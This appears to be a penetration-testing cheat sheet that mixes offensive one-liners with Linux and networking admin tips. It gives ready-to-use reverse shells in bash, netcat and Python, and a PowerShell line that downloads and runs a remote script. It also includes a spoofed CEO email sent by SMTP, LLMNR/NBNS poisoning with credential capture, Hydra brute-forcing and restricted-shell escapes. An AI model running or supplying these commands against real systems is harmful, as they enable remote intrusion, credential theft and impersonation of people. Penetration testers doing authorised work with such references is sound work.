Field Manual

Table of Contents

0x00 — Quick Reference 🚀

Tips & tricks of the more ultra rare, spicy, variety.

0x01 — Reverse Shells 🐚

On opposite day are reverse shells, bind shells? 💙

Linux 🐧

# Only works with the bash shell
rhost="10.0.0.1"; rport="8080"; /bin/bash -i &> /dev/tcp/${rhost}/${rport} 0>&1
# bash -s | option enables bash to read from 'stdin'

xxxxxxxxxx
# Requires the nc binary
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 10.0.0.1 8080 >/tmp/f

Python 🐍

xxxxxxxxxx
# Python2.7 command (-c) to connect to 10.0.0.1:8080 using the socket library
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",8080));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'

0x16 - Quality of Life 🤕

Bash-ish

​x
# Declare an indexed array
declare -a my_array
my_array[0]='zero'
my_array[1]='one'
# OR
my_array=(zero one)
# Print each index in my_array
for i in "${my_array[@]}"; do echo "$i"; done

# Declare an associative array (dictionary)
 declare -A my_array
my_array=([z]=zero [o]=one)
# Print each key in my_array
for key in "${!my_array[@]}"; do echo "$key"; done

# Returns the size of the array
echo "${#my_array[@]}"

# Append to the array
my_array+=three

# Remove an index from the array
unset my_array[2]

# Remove key/pair from assoc. array
unset my_array[o]

I/O 💻

Change iface names 🥅

xxxxxxxxxx
# Change Ubuntu 18.04 Network interfaces back to wlan/eth
sudo vim /etc/default/grub
# Edit the variable 'GRUB_CMDLINE_LINUX' to the following:
GRUB_CMDLINE_LINUX="net.ifnames=0 biosdevname=0"
# Write / Quit then run the following
sudo update-grub && sudo reboot
# Check 
sudo ip a

Realtek Driver Install 🔨

xxxxxxxxxx
# Download aircrack-ng linux driver
git clone -b v5.3.4 https://github.com/aircrack-ng/rtl8812au.git
cd rtl*
sudo make -j4
sudo make install
# 'make' installs the '88XXau.ko' driver to '/lib/modules/5.0.0-25-generic/kernel/drivers/net/wireless/' on Ubuntu 18.04

# Now edit /etc/NetworkManger/NetworkManager.conf and add the following. Replace the mac with the mac of the card
[keyfile]
unmanaged-devices=mac:00:c0:ca:95:b8:58
# Write / Quit
sudo service NetworkManager restart

WiFi Monitor Mode 🔎

xxxxxxxxxx
# Set interface down
sudo ip link set wlan1 down
# Set monitor mode
sudo iw dev wlan1 set type monitor
# Set interface up
sudo ip link set wlan1 up

# airodump-ng
sudo airodump-ng -w testdump --wps --beacon --band ag -M -U wlan1

Kismet Setup 💋

xxxxxxxxxx
# Install for Ubuntu 18.04
wget -O - https://www.kismetwireless.net/repos/kismet-release.gpg.key | sudo apt-key add -
echo 'deb https://www.kismetwireless.net/repos/apt/release/bionic bionic main' | sudo tee /etc/apt/sources.list.d/kismet.list
sudo apt update
sudo apt install -y kismet

kismet wlan1
# Then go to the web interface http://localhost:2501

Kali Pinned on Ubuntu 🐲

xxxxxxxxxx
# Add the following to /etc/apt/preferences.d/preferences
Package: *
Pin: release o=Ubuntu
Pin-Priority: 1000

Package: *
Pin: release a=kali-rolling
Pin-Priority: 100
# Write / Quit

echo -n 'deb http://http.kali.org/kali kali-rolling main non-free contrib' > /etc/apt/sources.list.d/kali.list

sudo apt update

Kali Missing Key Fix 🐲

xxxxxxxxxx
wget -q -O - https://archive.kali.org/archive-key.asc | apt-key add -

Netfig 🥅

xxxxxxxxxx
# Spoof MAC Address
ifconfig eth0 hw ether 00:1c:bf:87:25:d5

# Change Default Gateway
route add default gw $IP_ADDRESS $INTERFACE_NAME

Link Files to null ⚡️

xxxxxxxxxx
# Symbolic link of /dev/null to new file of ${HOME}/nohup.out
ln -s /dev/null ${HOME}/nohup.out

pv utility 🔨

xxxxxxxxxx
# Display progress of file being read
pv -p -e '/usr/share/wordlists/WORDLISTS.tar.gz' | zgrep -ia 'myemail@gmail.com' | tee /tmp/results.lst

Password Dump Search 🔍

xxxxxxxxxx
gzip -cd *.tar.gz | grep -aniTEf ~/data/emails.egrep > matches.txt
# gzip --stdout --decompress

Nix Fix ⛑

xxxxxxxxxx
# EXPIRED KEY - APT UPDATE
wget -O - http://apt.metasploit.com/metasploit-framework.gpg.key | sudo apt-key add -

.bash_aliases 👻

log terminal sessions

xxxxxxxxxx
script -t 2> timing.log -a output.session
scriptreplay timing.log output.session

Shortcut directories

xxxxxxxxxx
# Bookmark directories using 'pushd'
pushd /var/www/html/
pushd /etc/apt/
pushd ~/Projects/airodump/aug/

# Then use 'popd' to pull from the stack!
popd

Firefox Profiles

firefox --noremote --ProfileManager

##

0x10 - Linux 🐧

General Debian/Ubuntu based distro copy-&-paste-able commands

0x11 — BinaryID 📇

objdump 🚚

xxxxxxxxxx
objdump -f "$file" | grep '^architecture' | cut -d, -f1 | sed 's/architecture: //'

file mysterio.bin

0x12 — Everythin netcat 🐱

xxxxxxxxxx
# Target 1
/bin/bash -i &> /dev/tcp/${rhost}/${rport} 0>&1

# Reverse Shell
mknod backpipe p; nc ${rhost} ${rport} 0<backpipe | /bin/bash 1>backpipe 

# One-shot Web Server
{ printf 'HTTP/1.0 200 OK\r\nContent-Length: %d\r\n\r\n' "$(wc -c < some.file)"; cat some.file; } | nc -l ${lport}

# UDP Port scan
nc -vzu ${rhost} ${rports}

# Port scanning
nc -v -n -z -w 1 ${rhost} ${rports}

# NCat 
# HTTPS GET Request
printf 'GET /rootme HTTP/1.1\r\nHost: rootme.com\r\n\r\n' | ncat --ssl rootme.com 443

# NCat SMTP Client
ncat -C mail.rootme.com 25
# HELO client.rootme.com
# MAIL FROM:attacker@rootme.com
# RCPT TO:victim@rootme.com
# DATA
# From: ceo@rootme.com
# To: victim@rootme.com
# Subject: You're fired.
# 
# Sorry not sorry.
# .
# QUIT

# Netcat HTTP Request
nc 10.0.0.1 80
GET / HTTP/1.1
Host: 10.0.0.1
User-Agent: Mozilla/5.0
Referrer: google.com
# <hit enter>

# Simple Web Server 
# Linux
ncat -lk -p 8080 --sh-exec "echo -e 'HTTP/1.1 200 OK\r\n'; cat index.html"
# or
ncat --lua-exec httpd.lua --listen 8080 --keep-open
# Windows
ncat -lk -p 8080 --sh-exec "echo HTTP/1.1 200 OK& echo(&type index.html"

# Port forward
ncat -l localhost 8080 --sh-exec "ncat example.org 80"

# SSH Tunnel NCat
ssh -o ProxyCommand="ssh -q ${gateway} ncat %h %p" ${rhost}

# Dynamic SSH Tunnel
ssh ${gateway} -D 8080
ncat --proxy localhost:8080 --proxy-type socks5 ${rhost}

# SSH Tunneled NCat file transfer
ssh -NfL 1337:localhost:7331
ncat -v -w 2 localhost 1337 < sent
ncat -lvnp 7331 localhost > received

# NCat honeyport
ncat -l --keep-open 1337 --hex-dump gotscanned.log > /dev/null
 
# NCat SSL Tunnel
openssl req -new -x509 -keyout test-key.pem -out test-cert.pem
ncat --listen --ssl --ssl-cert test-cert.pem --ssl-key test-key.pem
ncat --ssl-verify --ssl-trustfile test-cert.pem

0x13 — D/encoding Data 🔑

CyberChef 🕵

Base64 🤙

xxxxxxxxxx
# Write base64 data without newlines
base64 -w 0 foo.zip | base64 -d > foo2.zip

# base64: Removes any invalid input
cat file.b64 | base64 -di > binary

0x14 - RECON 👀

DNS Enumeration 📛

xxxxxxxxxx
# NameServers Query for target.org
dig +short ns target.org

# A RECORD DNS Query
# Goal: Get the IP's associated to the toplevel domain.
dig a target.org @nameserver

# MX RECORD DNS Query
# Goal: Find mail servers to enumerate
dig mx target.org @nameserver

# DNS Zone Transfer Query
# Goal: Aquire all DNS entries for hosts within the 'target.org' zone
dig afxr target.org @nameserver

# Bruteforce Subdomains
dnsrecon -d zonetransfer.me -D /usr/share/wordlists/dnsmap.txt -t std --xml ouput.xml

Mirror sites 🔀

xxxxxxxxxx
wget --mirror -k ${depth} ${url}
# -OR-  httrack

0x15 — CTF 👮

Work arounds for restricted shells.

Executions 🔫

xxxxxxxxxx
# ez pz 
cd "$(dirname ${path_to_bin}/rootme)"

# TTY Spawn
python -c 'import pty;pty.spawn("/bin/bash")'
echo os.system('/bin/bash')

# Vi
vi
:!bash

# gcc compile
echo 'int main() { return chmod("/bin/chmod", 0755); }' | gcc -x c - && ./a.out

# x86 load file
/lib/i386-linux-gnu/ld-linux.so.2 ${path_to_bin}/rootme

# x64 load file
/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2 ${path_to_bin}/rootme

install -m a+x /bin/chmod /tmp/chmod2

File Downloads ⏬

xxxxxxxxxx
curl -s https://raw.githubusercontent.com/andrew-d/static-binaries/master/binaries/linux/x86_64/socat -o /tmp/socat/socat

# browser => developer tools => network => copy & paste response to file
cat file.b64 | base64 -di > binary

Secure Deletion 🔐

xxxxxxxxxx
_DEVICE="/dev/sdc"
_PASS=$(tr -cd '[:alnum:]' < /dev/urandom | head -c 128)
openssl enc -aes-256-ctr -pass pass:"${_PASS}" -nosalt </dev/zero | dd bs=64K ibs=64K of=$_DEVICE status=progress conv=notrunc

0x20 — Windows 🤖

0x21 — CMD 👴

xxxxxxxxxx
type C:\Users\Administrator\Desktop\flag.txt

# Mount SMB Share
net use Z: \\win-server\share password /user:domain\janedoe /savecred /p:no

0x22 — Powershell 💪

xxxxxxxxxx
iex ((New-Object Net.WebClient).DownloadString("https://abc.ru/mal.ps1"))

&"{Get-Content .\mal.ps1 | iex}"

Get-FileHash -Algorithm SHA512 .\test.txt

gci | foreach-object { write-output "Object: $_" } 
gci | % { write-output "Object: $_" }

get-process | where-object { $_.name -eq "notepad" }
get-process | ? { $_.name -eq "notepad"}

1..254 | % { test-connection 192.168.0.$_ }

0x30 - Placeholder

0x31 TBD

0x40 — Alternatives ♻️

0x41 — XMLHttpRequest.js 🕸

xxxxxxxxxx
// WUTitDO: Download a binary from Github

var github_user = "andrew-d";
var git_branch = "master";

// Raw base64 encoded byte stream
var b64raw = "https://raw.githubusercontent.com/"+ github_user +"/static-binaries/"+ git_branch +"/binaries/linux/x86_64/socat";

var xreq = new XMLHttpRequest();
xreq.open('GET', b64raw, true);
xreq.send();
document.write(xreq.responseText)
// Your webpage should now be base64 text to save

// If method 1 doesn't work try this!
var apijson = "https://api.github.com/repos/"+ github_user +"/static-binaries/contents/binaries/linux/x86_64/socat?ref=master";

var xreq = new XMLHttpRequest();
xreq.open('GET', apijson, true);
xreq.send();
document.write(JSON.parse(xreq.responseText).content)
// Your webpage should now be base64 text to save

0x50 - Networking 🤓

0x51 - Reference Tables

TTL Fingerprints 🤞

Classful IPv4 Ranges 🔩

Private IPv4 Ranges 🔩

IPv4 Subnets 🔩

0x52 - DIY Servers 🖥

xxxxxxxxxx
python -m SimpleHTTPServer 8080
python3 -m http.server 8080
php -S 0.0.0.0:8080

0x56 - Mounting Shares 🐧

xxxxxxxxxx
# NFS Shares are linux predominant
mount 10.0.0.1:/vol/share /mnt/nfs
# CIFS is a dialect of SMB and are windows predominant
mount -t cifs -o username=user,password=pass,domain=blah //192.168.1.X/share-name /mnt/cifs

0x57 - SMB Enum 🐧

xxxxxxxxxx
# Enumerate users
python /usr/share/doc/python-impacket-doc/examples/samrdump.py 10.0.0.1
nmap -sU -sS --script=smb-enum-users -p U:137,T:139 10.0.0.0/24

# Default linux utilities
nmblookup -A 10.0.0.1
smbclient //MOUNT/share -I 10.0.0.1 -N
rpcclient -U "" 10.0.0.1

# SMB Version
smbclient -L //10.0.0.1

# Open SMB Shares on a subnet
nmap -T4 -v -oA shares --script smb-enum-shares --script-args smbuser=${username},smbpass=${password} -p445 10.0.0.0/24   


# See links for download
enum4linux 10.0.0.1

0x58 - NetBIOS/LLMNR 🛂

xxxxxxxxxx
msfconsole

# Spoof/Poison
use auxiliary/spoof/llmnr/llmnr_response
use auxiliary/spoof/nbns/nbns_response

# Capture Credentials
auxiliary/server/capture/smb
auxiliary/server/capture/http_ntlm

#  -OR- See links to download
python Responder.py -i ${localhost-ip} -I eth0

# Produces NTLMv2 Hash to crack

0x59 - Port Forwarding 🚡

Windows 👴

xxxxxxxxxx
# See appendix for plink download link
plink.exe -P 22 -l root -pw "1337" -R 445:127.0.0.1:445 REMOTE-IP

Linux 🐧

• -A Allows Agent Forwarding
• -N Do NOT execute a command
• -f Background the proccess

xxxxxxxxxx
# Local Port Forward
ssh -NAfL ${lport}:${final-host}:${rport}  ${user}@${gateway-host}
# Example
ssh -NAfL 8080:192.168.0.3:80 root@192.168.0.2

xxxxxxxxxx
# Remote Port Forward
ssh -NAfR ${rport}:localhost:${port-to-publicize} user@${proxy-host}
ssh -NAfR 2222:localhost:22 user@192.168.0.2

xxxxxxxxxx
# Dynamic SOCKS Proxy
ssh -NAfD ${remote-proxy-port} ${remote-proxy-host}
# Example
ssh -NAfD 8080 root@10.0.0.80 

0xFF - Appendix 💦

Links 🔗

Alt. References 🔗

Hash Reference 🥔

John the Ripper 🔪

xxxxxxxxxx
# John the Ripper
john --wordlist=/usr/share/wordlists/rockyou.txt hashes
# Formatted Hash with Wordlist Attack
john --format=descrypt --wordlist /usr/share/wordlists/rockyou.txt hash.txt
# Formatted Hash with Bruteforce Attack
john --format=descrypt hash --show 

Hydra 🐉

xxxxxxxxxx
# FTP
hydra -l ${USERNAME} -P /usr/share/wordlistsnmap.lst -f 10.0.0.1 ftp -V
# POP3
hydra -l ${USERNAME} -P /usr/share/wordlistsnmap.lst -f 10.0.0.1 pop3 -V
# SMTP
hydra -P /usr/share/wordlistsnmap.lst -f 10.0.0.1 smtp -V

# Use (-t) to limit concurrent connections - ex: hydra -t 15 

Cheat Sheets 👀

IoT/Hardware Reverse Engineering (PDF)

Nmap Enumeration (PDF)